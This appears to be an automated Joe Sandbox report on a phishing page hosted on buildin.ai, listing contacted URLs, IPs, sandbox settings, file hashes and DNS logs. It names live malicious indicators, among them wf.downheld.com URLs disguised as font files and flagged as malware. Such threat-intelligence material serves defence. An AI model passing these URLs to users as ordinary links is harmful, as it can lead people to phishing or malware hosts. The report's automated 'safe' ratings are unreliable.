https://flagpedia.net/data/flags/w20/fj.png	false		high
https://flagpedia.net/data/flags/w20/pa.png	false		high
https://flagpedia.net/data/flags/w20/td.png	false		high
https://flagpedia.net/data/flags/w20/va.png	false		high
https://cdn.buildin.ai/assets/index-b987e8a9.js	false	Avira URL Cloud: safe	unknown
https://flagpedia.net/data/flags/w20/dk.png	false		high
https://flagpedia.net/data/flags/w20/bn.png	false		high
https://flagpedia.net/data/flags/w20/rs.png	false		high
https://flagpedia.net/data/flags/w20/gh.png	false		high
https://flagpedia.net/data/flags/w20/mh.png	false		high
https://flagpedia.net/data/flags/w20/ie.png	false		high
https://flagpedia.net/data/flags/w20/at.png	false		high
https://flagpedia.net/data/flags/w20/do.png	false		high
https://flagpedia.net/data/flags/w20/lu.png	false		high
https://flagpedia.net/data/flags/w20/kr.png	false		high
https://flagpedia.net/data/flags/w20/br.png	false		high
https://flagpedia.net/data/flags/w20/il.png	false		high
https://flagpedia.net/data/flags/w20/cl.png	false		high
https://flagpedia.net/data/flags/w20/af.png	false		high
https://flagpedia.net/data/flags/w20/hr.png	false		high
https://cdn.buildin.ai/fe-web-app-images/favicon.png	false	Avira URL Cloud: safe	unknown
https://flagpedia.net/data/flags/w20/lc.png	false		high
https://buildin.ai/api/docs/5a345237-8f26-47b9-9ffb-209d1d646648	false		high
https://flagpedia.net/data/flags/w20/by.png	false		high
https://cdn.buildin.ai/assets/index-3e450ade.css	false	Avira URL Cloud: safe	unknown
https://wf.downheld.com/vb8tMsPZSikt84QRN3jKD3o	false	Avira URL Cloud: malware	unknown
https://flagpedia.net/data/flags/w20/ni.png	false		high
https://cdn.buildin.ai/assets/lodash-e50e3886.js	false	Avira URL Cloud: safe	unknown
https://flagpedia.net/data/flags/w20/ml.png	false		high
https://flagpedia.net/data/flags/w20/sb.png	false		high
https://flagpedia.net/data/flags/w20/al.png	false		high
https://flagpedia.net/data/flags/w20/mc.png	false		high
https://flagpedia.net/data/flags/w20/gb.png	false		high
https://wf.downheld.com/GDSherpa-vf2.woff2	false	Avira URL Cloud: malware	unknown
https://flagpedia.net/data/flags/w20/ch.png	false		high
https://flagpedia.net/data/flags/w20/ro.png	false		high
https://jjy.fyaadd.cn/api/?callback=1-9&channel=shangeyouxiang	false	Avira URL Cloud: safe	unknown
https://wf.downheld.com/Roboto-Medium.woff2	false	Avira URL Cloud: malware	unknown
https://flagpedia.net/data/flags/w20/ve.png	false		high
https://flagpedia.net/data/flags/w20/ir.png	false		high
https://flagpedia.net/data/flags/w20/mu.png	false		high
https://buildin.ai/api/records/query	false		high
https://buildin.ai/api/docs/5a345237-8f26-47b9-9ffb-209d1d646648/publicData	false		high
https://wf.downheld.com/GDSherpa-regular.woff	false	Avira URL Cloud: malware	unknown
https://flagpedia.net/data/flags/w20/gt.png	false		high
https://flagpedia.net/data/flags/w20/kw.png	false		high
https://wf.downheld.com/GoogleSans-Regular.woff2	false	Avira URL Cloud: malware	unknown
https://flagpedia.net/data/flags/w20/dj.png	false		high
https://flagpedia.net/data/flags/w20/nl.png	false		high
https://flagpedia.net/data/flags/w20/kn.png	false		high
https://flagpedia.net/data/flags/w20/tm.png	false		high
https://cdn.buildin.ai/assets/index-c619d35b.js	false	Avira URL Cloud: safe	unknown
https://wf.downheld.com/rsWcpck21SgGMI0eamabrXMacXmL3EkJOPRjdLlkoKmEvCDmFyaz7zyzSgLno8nxBBP1wDO3mfvRfXD6f0ZwF9oFufRE8fB9lqUzX1CVFu2cd510	false	Avira URL Cloud: malware	unknown
https://flagpedia.net/data/flags/w20/ke.png	false		high
https://flagpedia.net/data/flags/w20/ly.png	false		high
https://flagpedia.net/data/flags/w20/st.png	false		high
https://flagpedia.net/data/flags/w20/tv.png	false		high
https://flagpedia.net/data/flags/w20/sk.png	false		high
https://flagpedia.net/data/flags/w20/ps.png	false		high
https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css	false		high
https://flagpedia.net/data/flags/w20/sg.png	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stats.g.doubleclick.net/g/collect	chromecache_377.2.dr	false		high
https://www.youtube.com	chromecache_377.2.dr	false		high
https://open.weixin.qq.com	chromecache_239.2.dr	false		high
https://openjsf.org/	chromecache_140.2.dr	false		high
https://cdn.buildin.ai/assets/index-legacy.1b0b2221.js	chromecache_258.2.dr	false	Avira URL Cloud: safe	unknown
http://underscorejs.org/LICENSE	chromecache_140.2.dr	false		high
https://lib.baomitu.com/KaTeX/0.16.9/katex.min.css	chromecache_176.2.dr	false		high
https://o.wpsgo.com	chromecache_168.2.dr	false		high
https://stats.g.doubleclick.net/g/collect?v=2&	chromecache_377.2.dr	false		high
https://cdn.buildin.ai/assets/polyfills-legacy.d298c497.js	chromecache_258.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.buildin.ai/emoji/katex.min.css	chromecache_176.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.8.44	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.48.1	unknown	United States	13335	CLOUDFLARENETUS	false
52.8.141.121	buildin.ai	United States	16509	AMAZON-02US	false
104.26.4.62	flagpedia.net	United States	13335	CLOUDFLARENETUS	false
13.35.93.14	d2vo7bzboe1rq2.cloudfront.net	United States	16509	AMAZON-02US	false
52.52.188.215	unknown	United States	16509	AMAZON-02US	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
62.234.1.137	jjy.fyaadd.cn	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
13.35.93.120	unknown	United States	16509	AMAZON-02US	false
142.250.72.100	www.google.com	United States	15169	GOOGLEUS	false
43.152.135.172	jxt2rgi0.ovslegodl.sched.ovscdns.com	Japan	4249	LILLY-ASUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.21.71.75	vzm.hqfyed.ru	United States	13335	CLOUDFLARENETUS	false
151.101.1.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.21.16.1	wf.downheld.com	United States	13335	CLOUDFLARENETUS	true
104.26.9.44	ipapi.co	United States	13335	CLOUDFLARENETUS	false
3.168.73.27	d2vgu95hoyrpkh.cloudfront.net	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1653938
Start date and time:	2025-04-01 18:21:28 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.evad.win@22/681@52/19
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, RuntimeBroker.exe, ShellExperienceHost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.41.3, 142.250.80.14, 142.251.163.84, 142.250.65.174, 142.250.81.238, 142.251.41.14, 142.250.72.106, 142.250.80.10, 142.250.80.42, 142.250.80.106, 142.250.64.106, 142.251.32.106, 142.250.81.234, 142.251.35.170, 142.250.65.170, 142.251.40.202, 142.251.40.234, 142.250.176.202, 142.251.41.10, 142.250.80.74, 142.250.65.202, 142.250.65.234, 172.217.165.138, 142.251.40.170, 142.251.40.106, 142.251.40.138, 142.250.64.74, 142.250.80.40, 142.250.80.78, 199.232.210.172, 23.203.176.221, 142.250.80.110, 142.250.64.110, 142.250.65.206, 142.251.40.227, 142.251.40.238, 172.217.165.142, 142.251.35.163, 184.31.69.3, 20.109.210.53
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, firebaseinstallations.googleapis.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, www.googletagmanager.com, firebaselogging-pa.googleapis.com, update.googleapis.com, firebaseremoteconfig.googleapis.com, clients.l.google.com, c.pki.goog, firebase.googleapis.com, www.google-analytics.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 20 x 10, 4-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	157
Entropy (8bit):	5.694084363444846
Encrypted:	false
SSDEEP:	3:yionv//thPlb4lmNITllAiKpo0JloMUu/sp8kjh2JgJpkfU/14uKlbp:6v/lhPGl4ITlRypoMUu/szzpxqJdp
MD5:	026331AB503DB0911F8EF7E4FCC1A2C7
SHA1:	4C525BDB62804BA730520115EB21F77C6370FE19
SHA-256:	C51B325A0171AAAC93089EA33AF4493E20B435998A24CDB0D37A0EA96796CD65
SHA-512:	1C61DF197EC28AEE45AA772958CB1FBC9A0CEB9A9EDA2799EBB4057FF1492D106DB8A3CC59D0055E85FC7AEB491117DA37A34EB37610195738964BC80758C8BC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............F{c....*PLTE.w......,..L..K. .....du.3<.HU.&SA...9..8..%.....IDAT..c.g.....Sl..)(z....LA.EJ ...=l..(...!...{..B........IEND.B`.

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 1, 2025 18:22:27.640269995 CEST	192.168.2.4	1.1.1.1	0x80fe	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:27.640542030 CEST	192.168.2.4	1.1.1.1	0xb896	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 1, 2025 18:22:29.625935078 CEST	192.168.2.4	1.1.1.1	0x148d	Standard query (0)	buildin.ai	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:29.626087904 CEST	192.168.2.4	1.1.1.1	0xf265	Standard query (0)	buildin.ai	65	IN (0x0001)	false
Apr 1, 2025 18:22:30.690464020 CEST	192.168.2.4	1.1.1.1	0x66ee	Standard query (0)	cdn.buildin.ai	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:30.690665960 CEST	192.168.2.4	1.1.1.1	0x924b	Standard query (0)	cdn.buildin.ai	65	IN (0x0001)	false
Apr 1, 2025 18:22:30.691149950 CEST	192.168.2.4	1.1.1.1	0xfa27	Standard query (0)	cdn.jsdelivr.net	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:30.691400051 CEST	192.168.2.4	1.1.1.1	0x529	Standard query (0)	cdn.jsdelivr.net	65	IN (0x0001)	false
Apr 1, 2025 18:22:33.642858028 CEST	192.168.2.4	1.1.1.1	0xdcc5	Standard query (0)	res.wx.qq.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.642996073 CEST	192.168.2.4	1.1.1.1	0x9591	Standard query (0)	res.wx.qq.com	65	IN (0x0001)	false
Apr 1, 2025 18:22:34.006993055 CEST	192.168.2.4	1.1.1.1	0x86b9	Standard query (0)	ipapi.co	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:34.007394075 CEST	192.168.2.4	1.1.1.1	0x48a	Standard query (0)	ipapi.co	65	IN (0x0001)	false
Apr 1, 2025 18:22:35.753149033 CEST	192.168.2.4	1.1.1.1	0x380c	Standard query (0)	jjy.fyaadd.cn	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:35.753406048 CEST	192.168.2.4	1.1.1.1	0x5be3	Standard query (0)	jjy.fyaadd.cn	65	IN (0x0001)	false
Apr 1, 2025 18:22:39.494611025 CEST	192.168.2.4	1.1.1.1	0x19f4	Standard query (0)	ipapi.co	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:39.494788885 CEST	192.168.2.4	1.1.1.1	0xd061	Standard query (0)	ipapi.co	65	IN (0x0001)	false
Apr 1, 2025 18:22:39.521699905 CEST	192.168.2.4	1.1.1.1	0x72de	Standard query (0)	buildin.ai	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:39.521975040 CEST	192.168.2.4	1.1.1.1	0xee04	Standard query (0)	buildin.ai	65	IN (0x0001)	false
Apr 1, 2025 18:22:39.524614096 CEST	192.168.2.4	1.1.1.1	0xfecf	Standard query (0)	jjy.fyaadd.cn	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:39.524801970 CEST	192.168.2.4	1.1.1.1	0x33f	Standard query (0)	jjy.fyaadd.cn	65	IN (0x0001)	false
Apr 1, 2025 18:22:40.508239031 CEST	192.168.2.4	1.1.1.1	0x1ddf	Standard query (0)	ipapi.co	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:49.238127947 CEST	192.168.2.4	1.1.1.1	0x7f36	Standard query (0)	wf.downheld.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:49.239326000 CEST	192.168.2.4	1.1.1.1	0xb6e4	Standard query (0)	wf.downheld.com	65	IN (0x0001)	false
Apr 1, 2025 18:22:57.190511942 CEST	192.168.2.4	1.1.1.1	0xff59	Standard query (0)	cdn.buildin.ai	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:57.190639973 CEST	192.168.2.4	1.1.1.1	0x7b9	Standard query (0)	cdn.buildin.ai	65	IN (0x0001)	false
Apr 1, 2025 18:23:02.112159014 CEST	192.168.2.4	1.1.1.1	0x9b23	Standard query (0)	vzm.hqfyed.ru	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:02.112297058 CEST	192.168.2.4	1.1.1.1	0x5ac	Standard query (0)	vzm.hqfyed.ru	65	IN (0x0001)	false
Apr 1, 2025 18:23:03.453217030 CEST	192.168.2.4	1.1.1.1	0x790b	Standard query (0)	vzm.hqfyed.ru	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:03.453404903 CEST	192.168.2.4	1.1.1.1	0xc8a1	Standard query (0)	vzm.hqfyed.ru	65	IN (0x0001)	false
Apr 1, 2025 18:23:04.289796114 CEST	192.168.2.4	1.1.1.1	0xb1d3	Standard query (0)	wf.downheld.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:04.292273045 CEST	192.168.2.4	1.1.1.1	0x494a	Standard query (0)	wf.downheld.com	65	IN (0x0001)	false
Apr 1, 2025 18:23:05.142782927 CEST	192.168.2.4	1.1.1.1	0x4268	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:05.143163919 CEST	192.168.2.4	1.1.1.1	0x2eaf	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Apr 1, 2025 18:23:05.143666983 CEST	192.168.2.4	1.1.1.1	0xbab0	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:05.143877029 CEST	192.168.2.4	1.1.1.1	0x7aa3	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Apr 1, 2025 18:23:07.464479923 CEST	192.168.2.4	1.1.1.1	0x4018	Standard query (0)	cdn.socket.io	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:07.464865923 CEST	192.168.2.4	1.1.1.1	0x76a6	Standard query (0)	cdn.socket.io	65	IN (0x0001)	false
Apr 1, 2025 18:23:08.413058996 CEST	192.168.2.4	1.1.1.1	0x1e32	Standard query (0)	flagpedia.net	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:08.413882971 CEST	192.168.2.4	1.1.1.1	0x34d4	Standard query (0)	flagpedia.net	65	IN (0x0001)	false
Apr 1, 2025 18:23:09.046006918 CEST	192.168.2.4	1.1.1.1	0x4078	Standard query (0)	flagpedia.net	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:09.046159983 CEST	192.168.2.4	1.1.1.1	0x7946	Standard query (0)	flagpedia.net	65	IN (0x0001)	false
Apr 1, 2025 18:23:35.715842009 CEST	192.168.2.4	1.1.1.1	0x1543	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:35.715996981 CEST	192.168.2.4	1.1.1.1	0x39ea	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Apr 1, 2025 18:23:40.133240938 CEST	192.168.2.4	1.1.1.1	0x2876	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:40.133465052 CEST	192.168.2.4	1.1.1.1	0x23e9	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Apr 1, 2025 18:23:41.155991077 CEST	192.168.2.4	1.1.1.1	0x9c1b	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:41.156071901 CEST	192.168.2.4	1.1.1.1	0xf933	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Apr 1, 2025 18:23:43.180677891 CEST	192.168.2.4	1.1.1.1	0xff9e	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:44.185730934 CEST	192.168.2.4	1.1.1.1	0xff9e	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:45.193996906 CEST	192.168.2.4	1.1.1.1	0xff9e	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:47.197005033 CEST	192.168.2.4	1.1.1.1	0xff9e	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:51.205513954 CEST	192.168.2.4	1.1.1.1	0xff9e	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 1, 2025 18:22:27.744659901 CEST	1.1.1.1	192.168.2.4	0x80fe	No error (0)	www.google.com		142.250.72.100	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:27.745946884 CEST	1.1.1.1	192.168.2.4	0xb896	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 1, 2025 18:22:29.766176939 CEST	1.1.1.1	192.168.2.4	0x148d	No error (0)	buildin.ai		52.8.141.121	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:29.766176939 CEST	1.1.1.1	192.168.2.4	0x148d	No error (0)	buildin.ai		52.52.188.215	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:30.796804905 CEST	1.1.1.1	192.168.2.4	0xfa27	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:22:30.796804905 CEST	1.1.1.1	192.168.2.4	0xfa27	No error (0)	jsdelivr.map.fastly.net		151.101.1.229	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:30.796804905 CEST	1.1.1.1	192.168.2.4	0xfa27	No error (0)	jsdelivr.map.fastly.net		151.101.65.229	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:30.796804905 CEST	1.1.1.1	192.168.2.4	0xfa27	No error (0)	jsdelivr.map.fastly.net		151.101.129.229	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:30.796804905 CEST	1.1.1.1	192.168.2.4	0xfa27	No error (0)	jsdelivr.map.fastly.net		151.101.193.229	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:30.797467947 CEST	1.1.1.1	192.168.2.4	0x529	No error (0)	cdn.jsdelivr.net	jsdelivr.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:22:30.853593111 CEST	1.1.1.1	192.168.2.4	0x924b	No error (0)	cdn.buildin.ai	d2vo7bzboe1rq2.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:22:30.856865883 CEST	1.1.1.1	192.168.2.4	0x66ee	No error (0)	cdn.buildin.ai	d2vo7bzboe1rq2.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:22:30.856865883 CEST	1.1.1.1	192.168.2.4	0x66ee	No error (0)	d2vo7bzboe1rq2.cloudfront.net		13.35.93.14	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:30.856865883 CEST	1.1.1.1	192.168.2.4	0x66ee	No error (0)	d2vo7bzboe1rq2.cloudfront.net		13.35.93.115	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:30.856865883 CEST	1.1.1.1	192.168.2.4	0x66ee	No error (0)	d2vo7bzboe1rq2.cloudfront.net		13.35.93.120	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:30.856865883 CEST	1.1.1.1	192.168.2.4	0x66ee	No error (0)	d2vo7bzboe1rq2.cloudfront.net		13.35.93.24	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	res.wx.qq.com	reswx.tc.qq.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	reswx.tc.qq.com	jxt2rgi0.ovslegodl.sched.ovscdns.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.152.135.172	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.152.134.210	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.152.135.174	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.175.170.196	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.175.186.85	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.152.183.76	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.152.136.87	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.175.186.87	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.152.182.96	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.152.135.101	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.152.136.170	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:33.748970032 CEST	1.1.1.1	192.168.2.4	0xdcc5	No error (0)	jxt2rgi0.ovslegodl.sched.ovscdns.com		43.152.183.74	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:34.118050098 CEST	1.1.1.1	192.168.2.4	0x86b9	No error (0)	ipapi.co		104.26.9.44	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:34.118050098 CEST	1.1.1.1	192.168.2.4	0x86b9	No error (0)	ipapi.co		172.67.69.226	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:34.118050098 CEST	1.1.1.1	192.168.2.4	0x86b9	No error (0)	ipapi.co		104.26.8.44	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:34.118283033 CEST	1.1.1.1	192.168.2.4	0x48a	No error (0)	ipapi.co			65	IN (0x0001)	false
Apr 1, 2025 18:22:36.059397936 CEST	1.1.1.1	192.168.2.4	0x380c	No error (0)	jjy.fyaadd.cn		62.234.1.137	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:39.601416111 CEST	1.1.1.1	192.168.2.4	0xd061	No error (0)	ipapi.co			65	IN (0x0001)	false
Apr 1, 2025 18:22:39.632070065 CEST	1.1.1.1	192.168.2.4	0x72de	No error (0)	buildin.ai		52.52.188.215	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:39.632070065 CEST	1.1.1.1	192.168.2.4	0x72de	No error (0)	buildin.ai		52.8.141.121	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:40.327030897 CEST	1.1.1.1	192.168.2.4	0xfecf	No error (0)	jjy.fyaadd.cn		62.234.1.137	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:40.620177031 CEST	1.1.1.1	192.168.2.4	0x1ddf	No error (0)	ipapi.co		104.26.8.44	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:40.620177031 CEST	1.1.1.1	192.168.2.4	0x1ddf	No error (0)	ipapi.co		172.67.69.226	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:40.620177031 CEST	1.1.1.1	192.168.2.4	0x1ddf	No error (0)	ipapi.co		104.26.9.44	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:49.352411032 CEST	1.1.1.1	192.168.2.4	0x7f36	No error (0)	wf.downheld.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:49.352411032 CEST	1.1.1.1	192.168.2.4	0x7f36	No error (0)	wf.downheld.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:49.352411032 CEST	1.1.1.1	192.168.2.4	0x7f36	No error (0)	wf.downheld.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:49.352411032 CEST	1.1.1.1	192.168.2.4	0x7f36	No error (0)	wf.downheld.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:49.352411032 CEST	1.1.1.1	192.168.2.4	0x7f36	No error (0)	wf.downheld.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:49.352411032 CEST	1.1.1.1	192.168.2.4	0x7f36	No error (0)	wf.downheld.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:49.352411032 CEST	1.1.1.1	192.168.2.4	0x7f36	No error (0)	wf.downheld.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:49.365545034 CEST	1.1.1.1	192.168.2.4	0xb6e4	No error (0)	wf.downheld.com			65	IN (0x0001)	false
Apr 1, 2025 18:22:57.300071955 CEST	1.1.1.1	192.168.2.4	0x7b9	No error (0)	cdn.buildin.ai	d2vo7bzboe1rq2.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:22:57.339097977 CEST	1.1.1.1	192.168.2.4	0xff59	No error (0)	cdn.buildin.ai	d2vo7bzboe1rq2.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 1, 2025 18:22:57.339097977 CEST	1.1.1.1	192.168.2.4	0xff59	No error (0)	d2vo7bzboe1rq2.cloudfront.net		13.35.93.120	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:57.339097977 CEST	1.1.1.1	192.168.2.4	0xff59	No error (0)	d2vo7bzboe1rq2.cloudfront.net		13.35.93.115	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:57.339097977 CEST	1.1.1.1	192.168.2.4	0xff59	No error (0)	d2vo7bzboe1rq2.cloudfront.net		13.35.93.24	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:22:57.339097977 CEST	1.1.1.1	192.168.2.4	0xff59	No error (0)	d2vo7bzboe1rq2.cloudfront.net		13.35.93.14	A (IP address)	IN (0x0001)	false
Apr 1, 2025 18:23:02.344799995 CEST	1.1.1.1	192.168.2.4	0x9b23	No error (0)	vzm.hqfyed.ru		104.21.71.75	A (IP address)	IN (0x0001)	false
